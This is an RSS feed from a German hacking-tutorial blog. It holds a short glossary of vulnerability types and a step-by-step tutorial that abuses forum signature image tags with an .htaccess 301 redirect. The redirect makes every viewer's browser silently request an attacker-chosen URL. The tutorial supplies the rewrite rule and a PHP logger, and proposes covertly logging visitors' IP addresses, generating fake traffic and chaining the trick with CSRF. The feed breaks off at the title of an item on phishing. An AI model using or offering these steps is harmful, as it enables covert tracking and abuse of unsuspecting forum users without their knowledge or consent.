<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Tut0r1al [v2.0]</title>
	
	<link>http://tut0r1al.back2hack.cc</link>
	<description>Your Tutorial Blog Since 2007</description>
	<lastBuildDate>Sun, 27 May 2012 01:45:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Tut0r1alv20" /><feedburner:info uri="tut0r1alv20" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://tut0r1al.back2hack.cc/?pushpress=hub" /><item>
		<title>Vulnerability Summary</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/4wv149pti7s/</link>
		<comments>http://tut0r1al.back2hack.cc/xss/vulnerability-summary/#comments</comments>
		<pubDate>Sun, 27 May 2012 01:45:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[Bufferoverflows]]></category>
		<category><![CDATA[Hijacking]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XPath Injection]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Email Injection]]></category>
		<category><![CDATA[Emailinjection]]></category>
		<category><![CDATA[Session Hijacking]]></category>
		<category><![CDATA[Vulnerability Summary]]></category>
		<category><![CDATA[Websecurity]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=117</guid>
		<description><![CDATA[Vulnerability Summary Ich fasse hier mal die bekanntesten und meist genutzten Securitybugs zusammen und führe kleine Beschreibungen dazu. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Websecurity&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Simple Passwords: Versteht sich von selbst und ist eigentlich auch keine Lücke, sondern erlaubt nur schnellen Zugriff IG &#8211; Information Gathering: Hier wird versucht Infomationen über den Server zu erhalten URD &#8211; URL Redirection: Hier entsteht [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Vulnerability Summary</strong><br />
Ich fasse hier mal die bekanntesten und meist genutzten Securitybugs zusammen und<br />
führe kleine Beschreibungen dazu.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<strong>Websecurity</strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Simple Passwords:<br />
Versteht sich von selbst und ist eigentlich auch keine Lücke, sondern erlaubt nur schnellen Zugriff</p>
<p>IG &#8211; Information Gathering:<br />
Hier wird versucht Infomationen über den Server zu erhalten</p>
<p>URD &#8211; URL Redirection:<br />
Hier entsteht ein Redirect zu einer eigenen Seite von einer originalen, optimal für Phishing und Spam</p>
<p>File Disclosure:<br />
Hier könnt ihr auf Konfigurationsdateien sowie Datenbanken mit dem richtigen Pfad zugreifen<br />
Backupfiles beachten</p>
<p>Code Disclosure:<br />
Hier wird der Source Code angezeigt, aus welchem man viele Informationen entnehmen kann</p>
<p>Directory Disclosure:<br />
Man kann die Verzeichnisstruktur einsehen</p>
<p><a href="http://tut0r1al.back2hack.cc/pdfs/xss-–-cross-site-scripting/"title="XSS" ><strong>XSS</strong> &#8211; Cross Site Scripting</a>:<br />
Hier kann der User durch Fehler in der Programmierung Clientseitig JS-Code ausführen</p>
<p>XSF &#8211; Cross Frame Scripting:<br />
Hier kann der User durch Fehler in z.B. Browsern auch Änderungen an fremden Frames vornehmen</p>
<p>XSRF &#8211; Cross Site Request Forgery:<br />
Man kann Seitenübergreifende Aktionen starten wie meistens neue User anlegen etc..</p>
<p>XSC &#8211; Cross Site Cooking:<br />
Ähnelt der XSF, oft ein Bug im Browser erlaubt, dass die Cookies manipuliert werden können</p>
<p>XST &#8211; Cross Site Tracing:<br />
Ähnlich wie XSS nur wird der Angriff meist über andere Server geleitet wie der Name Trace schon sagt</p>
<p>XZS &#8211; Cross Zone Scripting:<br />
Hier wird die fehlerhafte Programmierung von Privilegien ausgenutzt, so kann man leicht Malware einschleusen</p>
<p>ISCH &#8211; Insecure Cookie Handling:<br />
Durch einfache Änderung des Cookies erlangt man mehr Rechte, meist einfacher und logischer Plaintext</p>
<p><a href="http://tut0r1al.back2hack.cc/text_tutorials/tcp-session-hijacking/"title="tcp session hijacking" ><strong>Session </strong><strong>Hijacking</strong></a>:<br />
Die Authentifikation von mehreren Computern wird durch &#8220;falsche&#8221; Sessionids oder -Informationen umgangen<br />
So auch Session Fixation</p>
<p>SQL-I &#8211; <a href="http://tut0r1al.back2hack.cc/text_tutorials/sql-injection/"title="SQL Injection" ><strong>SQL Injection</strong></a>:<br />
Hier wird versucht den Query zu manipulieren und Werte aus der Datenbank zu lesen</p>
<p><a href="http://tut0r1al.back2hack.cc/text_tutorials/xpath-injectio…ohne-datenbank/"title="xpath injection" ><strong>XPATH Injection</strong></a>:<br />
Ähnelt der<strong> SQL Injection</strong>, nur das hier die Abfragesprache XPATH benutzt wird</p>
<p><a href="http://tut0r1al.back2hack.cc/video_tutorials/emailinjection/"title="emailinjection" ><strong>Email Injection</strong></a>:<br />
Hier kann der User durch fehlerhafte Programmierung ohne Wissen des Admins Mails versenden</p>
<p>LDAP Injection:<br />
Hier könnr ihr ähnlich wie bei der <strong>SQL Injection</strong> die Abfrage des LDAP verändern</p>
<p><a href="http://tut0r1al.back2hack.cc/text_tutorials/lfi-rfi-tutorial/"title="LFI" >LFI &#8211; Local File Inclusion</a>:<br />
Entsteht durch einen Fehler in der Programmierung einer PHP Seite, es lassen sich locale Dateien anzeigen</p>
<p><a href="http://tut0r1al.back2hack.cc/text_tutorials/rfi-tutorial/"title="RFI" >RFI &#8211; Remote File Inclusion</a>:<br />
Ähnelt der LFI, nur dass man auch Scripte auf anderen Servern einschleusen kann</p>
<p>RCE &#8211; Remote Command Execution:<br />
Hier lässt sich PHP-Code direkt in einem Script ausführen</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-Local Security&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><a href="http://tut0r1al.back2hack.cc/video_tutorials/bufferoverflow-workshop/"title="bufferoverflow" >BOF &#8211; <strong>Bufferoverflow</strong></a>:<br />
Hier wird der Speicherbereich eines Programms mit Daten überschritten, es kann fremder Code ausgeführt werden</p>
<p>POF &#8211; Pointeroverflow:<br />
Ähnelt dem BoF, allerdings werden keine Datenpakete geschrieben sondern Adressen (Pointer)</p>
<p>STOF &#8211; Stackoverflow:<br />
Wird der Speicherbereich des Stacks überschritten, kann ebenfalls eigener Code ausgeführt werden</p>
<p>FS &#8211; Format String Vuln:<br />
Werden Eingaben nicht genau gefiltert, kann der User sich z.B. Werte von Stack ausgeben lassen</p>
<p>Format Infection:<br />
Durch Fehler im Dateiformat z.B. ELF kann man ebenfalls fremden Code starten</p>
<p>MC &#8211; Memory Corruption:<br />
Durch einen Programmierfehler kann die Speicherpositionierung modifiziert werden</p>
<p>Privilege Escalation:<br />
Durch derartige Lücken, bekommt der User Rechte, welche eigentlich vor ihm geschützt sind</p>
<p><strong>Autor: </strong>fred777</p>
<p><strong>Quelle: </strong>creative-coding.us</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection">sql injection</a> (13)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="xpath injection vulnerability">xpath injection vulnerability</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="manual blind sqli mysql4">manual blind sqli mysql4</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="blind sql injection tabellenname mysql">blind sql injection tabellenname mysql</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="cross site tracing tutorial">cross site tracing tutorial</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="blind sql">blind sql</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="paul ziegler">paul ziegler</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection id">sql injection id</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection ?cat=1">sql injection ?cat=1</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection nutzen">sql injection nutzen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection finden 2012">sql injection finden 2012</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql hacken 2012">sql hacken 2012</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="shell upload with sql injections v2">shell upload with sql injections v2</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="seiten mit sql injection">seiten mit sql injection</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="script cookies stealen">script cookies stealen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="remote code execution abfangen url_fopen">remote code execution abfangen url_fopen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="rapidshare cookie script 2012">rapidshare cookie script 2012</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="rapidgator net javascript cookie">rapidgator net javascript cookie</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection sinn">sql injection sinn</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql injection union select all 1 2 3 4">sql injection union select all 1 2 3 4</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="www 5x to hoster">www 5x to hoster</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="wordpress file inclusion plugin">wordpress file inclusion plugin</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="wie kann ich in ein sql ms sql server statement einen parameter einbauen welcher beim Abruf abgefragt wird">wie kann ich in ein sql ms sql server statement einen parameter einbauen welcher beim Abruf abgefragt wird</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="webspell 4 hack">webspell 4 hack</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="union select tabelle auslesen">union select tabelle auslesen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="tutorial sqli sichern">tutorial sqli sichern</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="TuT Lernenn wie man sql lücken findet">TuT Lernenn wie man sql lücken findet</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="string vuln*">string vuln*</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sqli load_file windows">sqli load_file windows</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="sql-befehl(e) in datenbank ausführen: create table `hack">sql-befehl(e) in datenbank ausführen: create table `hack</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/xss/emailinjection/" title="Emailinjection">Emailinjection</a></li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-%e2%80%93-es-geht-auch-ohne-datenbank/" title="XPath Injection – Es geht auch ohne Datenbank">XPath Injection – Es geht auch ohne Datenbank</a></li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="XPATH Injection &#8211; Login Bypass">XPATH Injection &#8211; Login Bypass</a></li><li><a href="http://tut0r1al.back2hack.cc/xss/second-order-code-injection/" title="Second Order Code Injection">Second Order Code Injection</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/advanced-sql-injection/" title="Advanced SQL Injection">Advanced SQL Injection</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/xss/vulnerability-summary/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/xss/vulnerability-summary/</feedburner:origLink></item>
		<item>
		<title>Code ausführen und Visits</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/PuMQm2C8peA/</link>
		<comments>http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/#comments</comments>
		<pubDate>Sat, 26 May 2012 12:13:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hijacking]]></category>
		<category><![CDATA[Visits ohne Aufwand]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=74</guid>
		<description><![CDATA[Code ausführen lassen &#8211; ohne Aktion des Users! Viele echte Visits bekommen &#8211; ohne viel Aufwand # written by phire &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; Willkommen zu diesem Tutorial. Hier erfährst du, wie du andere beliebigen Code in Foren o.ä. ausführen lässt, ohne dass jemand davon was mitbekommt und wie du mit geringem Aufwand sehr viele Visits von echten [...]]]></description>
			<content:encoded><![CDATA[<h2><span lang="DE">Code ausführen lassen &#8211; ohne Aktion des Users!</span></h2>
<h3>Viele echte Visits bekommen &#8211; ohne viel Aufwand</h3>
<p># written by phire</p>
<p><strong> </strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Willkommen zu diesem Tutorial.</strong></p>
<p><strong> </strong>Hier erfährst du, wie du andere beliebigen Code in Foren o.ä. ausführen lässt,</p>
<p>ohne dass jemand davon was mitbekommt und wie du mit geringem Aufwand</p>
<p>sehr viele Visits von echten Usern erhälst (ohne deren Wissen).</p>
<p>Das gute daran is, dass du die URL (wo der Code ausgeführt wird bzw. wo die Visits erfolgen)</p>
<p>selbst bestimmen kannst und dass du sie jederzeit ändern kannst &#8211; ohne irgendeinen Verlust.</p>
<p>Mit dem BB-Tag [img] kann man in sämtlichen Foren etc. Bilder in Form einer URL einfügen.</p>
<p>Ein Beispiel mit dem Google Logo:</p>
<p>[img]http://www.google.de/intl/de_de/images/logo.gif[/img]</p>
<p>Diese BB-Tags kann man z.B. meistens in der Signatur nutzen.</p>
<p>Somit erscheint das Bild unter jedem Beitrag, den man schreibt.</p>
<p><strong>Jetzt schauen wir etwas weiter hinter die Kulissen:</strong></p>
<p><strong> </strong>Der Browser sendet an den angegebenen Server (wo das Bild liegt) einen HTTP-Request.</p>
<p>Daraufhin antwortet der Server mit einer HTTP-Response.</p>
<p>In dieser Response übergibt der Server bestimmte Informationen, wie z.B. den Status Code.</p>
<p>Jeder Status Code hat bestimmte Bedeutungen. 200 bedeutet z.B. dass alles OK is,</p>
<p>also dass das Bild vorhanden is und kein Fehler aufgetreten is.</p>
<p>In diesem Fall wird das Bild dann in der Signatur ganz normal angezeigt.</p>
<p>Die Status Codes 301 und 302 stehen für Weiterleitungen (Redirects).</p>
<p>302 is der Standard Status Code für Weiterleitungen und steht für eine <strong>temporäre Weiterleitung</strong>.</p>
<p>301 steht für eine <strong>permanente Weiterleitung</strong>.</p>
<p>Die Weiterleitungen kann man zum Beispiel in einer <strong>htaccess</strong> Datei definieren.</p>
<p>Auf einem Server kann z.B. http://www.meinserver.de/bild.jpg nach http://www.google.de/ weitergeleitet werden.</p>
<p>In vielen Webanwendungen, z.B. Forensystemen, is es möglich genau das auszunutzen.</p>
<p>Hier wird in der Signatur mit [img]http://www.meinserver.de/bild.jpg[/img] das Bild eingebunden.</p>
<p>Wegen der 301 <strong>Weiterleitung</strong> wird dann zu http://www.google.de/ weitergeleitet und Google erhält somit einen Visit mehr <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Hier nun eine Step-by-Step Anleitung:</strong></p>
<p><strong> </strong><strong><span style="color: #ff0000;">1. Besorgt euch Webspace, wo ihr htaccess Dateien hochladen könnt und wo mod_rewrite aktiviert is.</span></strong></p>
<p><strong>Können ruhig Free-Hoster sein <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </strong></p>
<p><strong>Registriert euch z.B. kostenlos bei <strong>kilu.de</strong>E-Mail Link bestätigen, paar Minuten warten und einloggen.</strong></p>
<p><strong>Da stehen dann die FTP Daten etc.</strong></p>
<p><strong>Connectet mit nem x-beliebigen FTP Programm zum FTP Server.</strong></p>
<p><strong>Wechselt ins www Verzeichnis und ladet dort euer Bild hoch.</strong></p>
<p><strong>Meins is hier zu finden: http://visitstut.kilu.de/1338.png</strong></p>
<p><strong><strong><span style="color: #ff0000;">2. Ladet eine htaccess Datei für die 301 Weiterleitung hoch.</span></strong></strong></p>
<p><strong><strong>Erstellt eine neue Datei mit dem Namen htaccess.txt und mit folgendem Inhalt:</strong></strong></p>
<p><strong><strong>RewriteEngine On</strong></strong></p>
<p><strong><strong>RewriteRule ^EUERBILD.JPG$ http://URLZURDERWEITERGELEITETWERDENSOLL/ [L,R=301]</strong></strong></p>
<p><strong><strong>EUERBILD.JPG müsst ihr durch euer eben hochgeladenes Bild ersetzen.</strong></strong></p>
<p><strong><strong>URLZURDERWEITERGELEITETWERDENSOLL müsst ihr durch die URL ersetzen, die die Visits erhalten soll.</strong></strong></p>
<p><strong><strong>Bzw. wo der Code ausgeführt werden soll (dazu später mehr).</strong></strong></p>
<p><strong><strong>Mein Beispiel:</strong></strong></p>
<p><strong><strong>RewriteEngine On</strong></strong></p>
<p><strong><strong>RewriteRule ^1338.png$ http://www.google.de/ [L,R=301]</strong></strong></p>
<p><strong><strong>Danach speichern und ebenfalls im selben Verzeichnis hochladen.</strong></strong></p>
<p><strong><strong>Wenn sie hochgeladen wurde, müsst ihr sie mit eurem FTP Programm in <strong>.htaccess</strong> umbenennen (Punkt beachten!)</strong></strong></p>
<p><strong><strong>Jetzt sollte man zu der angegebenen URL weitergeleitet werden, wenn man das Bild aufruft.</strong></strong></p>
<p><strong><strong><strong>Jeder, der z.B. in einem Forum einen Thread betrachtet, wo eure Sig is, sendet den Request!</strong></strong></strong></p>
<p><strong><strong><strong> </strong>Der User merkt gar nichts, euer Bild wird einfach nicht angezeigt.</strong></strong></p>
<p><strong><strong>Aber ein Visit wurde wegen der Weiterleitung trotzdem gemacht <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </strong></strong></p>
<p><strong><strong><strong>Das funktioniert nicht überall, aber in vielen Webanwendungen!</strong></strong></strong></p>
<p><strong><strong><strong> </strong>Im SMF funktioniert das nicht, aber im Invision Power Board etc. auf jeden Fall.</strong></strong></p>
<p><strong><strong>Gut, ich würd also in meinem Fall folgendes in der Sig schreiben:</strong></strong></p>
<p><strong><strong>[img]http://visitstut.kilu.de/1338.png[/img]</strong></strong></p>
<p><strong><strong>Jeder, der ne Seite aufruft, wo diese Sig drin vorkommt, wird ohne es zu wissen nach Google weitergeleitet.</strong></strong></p>
<p><strong><strong><strong>Zum Verständnis:</strong></strong></strong></p>
<p><strong><strong><strong></strong>Der User bleibt auf der Seite und merkt wie gesagt nichts. Aus folgendem Grund:</strong></strong></p>
<p><strong><strong>Es wird nur versucht das Signatur Bild zu laden. Der Browser versucht also auf die angegebene Bild URL</strong></strong></p>
<p><strong><strong>zuzugreifen und stellt eine 301 Weiterleitung fest, die er dann folgt. Da findet er dann in diesem</strong></strong></p>
<p><strong><strong>Beispiel die Startseite von Google. Da die Startseite von Google kein Bild is, wird in der Sig auch nichts angezeigt.</strong></strong></p>
<p><strong><strong>Wenn ihr nach einem anderen Bild weiterleiten würdet, würde das zweite Bild auch in der Sig normal angezeigt werden.</strong></strong></p>
<p><strong><strong><strong><span style="color: #ff0000;">3. So könnt ihr es testen</span></strong></strong></strong></p>
<p><strong><strong><strong>Erstellt eine leere Textdatei mit dem Namen log.txt und ladet sie auf eurem FTP Server hoch.</strong></strong></strong></p>
<p><strong><strong><strong>Danach erstellt ihr eine PHP Datei mit dem Namen logvisit.php und folgendem Inhalt:</strong></strong></strong></p>
<p><strong><strong><strong>&lt;?php</strong></strong></strong></p>
<p><strong><strong><strong>$handle = fopen(&#8220;log.txt&#8221;, &#8220;a+&#8221;);</strong></strong></strong></p>
<p><strong><strong><strong>fwrite($handle, &#8220;Funktioniert!\n&#8221;);</strong></strong></strong></p>
<p><strong><strong><strong>fclose($handle);</strong></strong></strong></p>
<p><strong><strong><strong>?&gt;</strong></strong></strong></p>
<p><strong><strong><strong>Diese Datei auch hochladen.</strong></strong></strong></p>
<p><strong><strong><strong>Jetzt ändert ihr den Inhalt der .htaccess:</strong></strong></strong></p>
<p><strong><strong><strong>RewriteEngine On</strong></strong></strong></p>
<p><strong><strong><strong>RewriteRule ^EUERBILD.JPG$ EURERSERVER/logvisit.php [L,R=301]</strong></strong></strong></p>
<p><strong><strong><strong>EUERBILD.JPG und EUERSERVER muss wieder ersetzt werden.</strong></strong></strong></p>
<p><strong><strong><strong>In meinem Beispiel:</strong></strong></strong></p>
<p><strong><strong><strong>RewriteEngine On</strong></strong></strong></p>
<p><strong><strong><strong>RewriteRule ^1338.png$ http://visitstut.kilu.de/logvisit.php [L,R=301]</strong></strong></strong></p>
<p><strong><strong><strong>Nun wird nach logvisit.php weitergeleitet, die auf eurem Server liegt.</strong></strong></strong></p>
<p><strong><strong><strong>Die logvisit.php schreibt hier einfach nur &#8220;Funktioniert!&#8221; in jeweils eine neue Zeile in die log.txt</strong></strong></strong></p>
<p><strong><strong><strong>Beim anschauen des Threads bzw. der Seite, wo eure Sig is, wird dann immer der Text in die log.txt geschrieben.</strong></strong></strong></p>
<p><strong><strong><strong><strong>Das is bei jedem User, der den Thread / die Seite anschaut der Fall.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong></strong><strong><span style="color: #ff0000;">4. Code ausführen leicht gemacht!</span></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Alle User führen unbemerkt den PHP Code aus, indem sie den Thread / die Seite betrachten.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Da ihr zu jeder URL weiterleiten könnt, könnt ihr auch jeden beliebigen Code ausführen lassen.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Man könnte hier zum Beispiel anstatt &#8220;Funktioniert!&#8221; die IP Adresse loggen.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Du sagst z.B. zu jemandem &#8220;schau dir mal diesen Thread da an&#8221;, er klickt drauf und liest den Thread.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Der Thread wird ganz normal angezeigt. In echt wurde aber auch seine IP auf <strong>deinem</strong> Server geloggt!</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Und IP loggen is noch das mindeste&#8230; was man mit PHP alles machen kann, muss ich wohl nicht erwähnen.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Ausserdem kann man nicht nur PHP Code ausführen, sondern jeden, den der Webserver versteht.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Dies könnte man auch gut in Verbindung mit CSRF Lücken ausnutzen, aber darum geht&#8217;s hier nicht.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong>Ich werde vllt. demnächst noch ein Tutorial schreiben, in dem in einige Möglichkeiten aufliste.</strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong><span style="color: #ff0000;">5. Kurz-Schritt Anleitung anhand des Beispiels</span></strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong># Hoster mit htaccess/mod_rewrite Unterstützung suchen</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong># Bild für Sig dort hochladen (Bsp: http://visitstut.kilu.de/1338.png)</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong># .htaccess Datei erstellen:</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>RewriteEngine On</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>RewriteRule ^1338.png$ http://www.google.de/ [L,R=301]</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong># Bild in der Sig einfügen (zum Beispiel in einem Invision Power Board Forum):</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>[img]http://visitstut.kilu.de/1338.png[/img]</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong><strong># Fertig &#8211; Jeder, der den Thread, das Profil, etc. wo die Sig is anschaut, besucht ungewollt die angegebene URL (hier Google)</strong></strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong><strong></strong>Wie gesagt, es funktioniert oft, aber nicht überall. SMF scheint dagegen gesichert zu sein.</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>Mit Invision Power Board hab ich&#8217;s getestet &#8211; da funktionierts einwandfrei.</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>Wenn ihr sowas nur für Visits nutzt (und nicht um Code auszuführen) und aktiv in dem Board seid,</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong>dann werdet ihr einige tausende oder zigtausende Visits erhalten. Jeder Aufruf wird gezählt.</strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong><strong>Es sind übrigens mehrere Weiterleitungen möglich! Bindet einfach zwei verschiedene Bilder mit [img]</strong></strong></strong></strong></strong></strong></p>
<p><strong><strong><strong><strong><strong><strong>in der Signatur ein und definiert zwei RewriteRules wie oben gezeigt in der .htaccess Datei.</strong></strong></strong></strong></strong></strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Autor</strong>: phire</p>
<p><strong>Quelle:</strong> Unbekannt</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="google bilder hochladen ohne email hacken">google bilder hochladen ohne email hacken</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="google bilder http request">google bilder http request</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="htaccess redirect kilu">htaccess redirect kilu</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="kilu htaccess datei erstellen und speichner">kilu htaccess datei erstellen und speichner</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="php funktionen aufrufen kilu de">php funktionen aufrufen kilu de</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="png php ausführen">png php ausführen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/" title="wie status code 200 (ok) für spezielle url konfigurieren">wie status code 200 (ok) für spezielle url konfigurieren</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Zufällige Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/sql-injection/information_schema/" title="information_schema">information_schema</a></li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="XPATH Injection &#8211; Login Bypass">XPATH Injection &#8211; Login Bypass</a></li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="Hacking SSH – Angriffe gegen die Secure Shell">Hacking SSH – Angriffe gegen die Secure Shell</a></li><li><a href="http://tut0r1al.back2hack.cc/blog_news/tut0r1al-status-blog/" title="Tut0r1al Status-Blog">Tut0r1al Status-Blog</a></li><li><a href="http://tut0r1al.back2hack.cc/sicherheitsluecken/path-attacks-vulnerable-system-unix/" title="PATH Attacks &#8211; the vulnerable system() instruction [UNIX]">PATH Attacks &#8211; the vulnerable system() instruction [UNIX]</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/</feedburner:origLink></item>
		<item>
		<title>Advanced Phishing</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/w-8Uy940zsA/</link>
